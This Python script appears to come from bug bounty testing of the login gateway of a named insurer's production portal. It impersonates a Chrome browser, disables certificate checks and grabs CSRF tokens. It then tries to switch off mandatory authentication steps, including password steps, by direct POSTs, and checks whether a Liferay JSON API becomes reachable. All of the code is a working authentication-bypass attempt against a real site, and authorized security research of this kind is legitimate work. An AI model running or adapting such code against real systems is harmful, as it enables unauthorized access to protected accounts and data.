from curl_cffi import requests
import json, urllib.parse
BASE='https://infoportal.baloise.de'
H={'X-Bug-Bounty':'dwbzn','Accept':'application/vnd.api+json','X-Same-Domain':'1'}
out=[]

def rec(label,r):
    try: body=r.json()
    except Exception: body=r.text[:1000]
    x={'label':label,'status':r.status_code,'url':r.url,'exchange':getattr(r,'toadex_exchange_id',None),'location':r.headers.get('Location'),'cookies':dict(r.cookies),'body':body}
    out.append(x); print(json.dumps(x,ensure_ascii=False),flush=True)

def fresh():
    s=requests.Session(impersonate='chrome')
    u=BASE+'/auth/ui/app/auth/application/access?Location='+urllib.parse.quote(BASE+'/group/ao',safe='')
    r=s.get(u,headers={'X-Bug-Bounty':'dwbzn'},verify=False,timeout=20,allow_redirects=False); rec('init',r)
    csrf=s.cookies.get('CSRFT759-S')
    hh={**H,'X-CSRFT759':csrf,'Content-Type':'application/json'}
    r=s.post(BASE+'/auth/rest/public/authentication/applications/portal_ao/access',headers=hh,data='null',verify=False,timeout=20,allow_redirects=False); rec('start',r)
    return s,hh

# Direct mandatory-step activation/deactivation attempts, each on a fresh flow.
for step,op in [
 ('default-username-password','deactivate'),
 ('default-username-password','activate'),
 ('password','deactivate'),
 ('portal-redirect','deactivate'),
 ('portal-redirect','activate'),
]:
    s,hh=fresh()
    r=s.post(f'{BASE}/auth/rest/public/authentication/dynamic-steps/{step}/{op}',headers=hh,data='',verify=False,timeout=20,allow_redirects=False); rec(f'{step}/{op}',r)
    # See whether the portal itself is now reachable with the same gateway session.
    r=s.get(BASE+'/api/jsonws',headers={'X-Bug-Bounty':'dwbzn'},verify=False,timeout=20,allow_redirects=False); rec(f'portal-after-{step}-{op}',r)

# Activate the configured redirect, then invoke all generic transition/read endpoints that could consume it.
s,hh=fresh()
r=s.post(BASE+'/auth/rest/public/authentication/dynamic-steps/portal-redirect/activate',headers=hh,data='',verify=False,timeout=20,allow_redirects=False); rec('chain-activate-redirect',r)
for path,data,ctype in [
 ('dynamic-steps/retrieve','',None),
 ('goto-targets/retrieve','',None),
 ('flow','',None),
 ('applications/portal_ao/access','null','application/json'),
]:
    h=dict(hh)
    if ctype: h['Content-Type']=ctype
    r=s.post(BASE+'/auth/rest/public/authentication/'+path,headers=h,data=data,verify=False,timeout=20,allow_redirects=False); rec('chain-'+path,r)
r=s.get(BASE+'/api/jsonws',headers={'X-Bug-Bounty':'dwbzn'},verify=False,timeout=20,allow_redirects=False); rec('chain-portal',r)
open('work/scratch/liferay-critical/dynamic-step-bypass.json','w').write(json.dumps(out,ensure_ascii=False,indent=2))
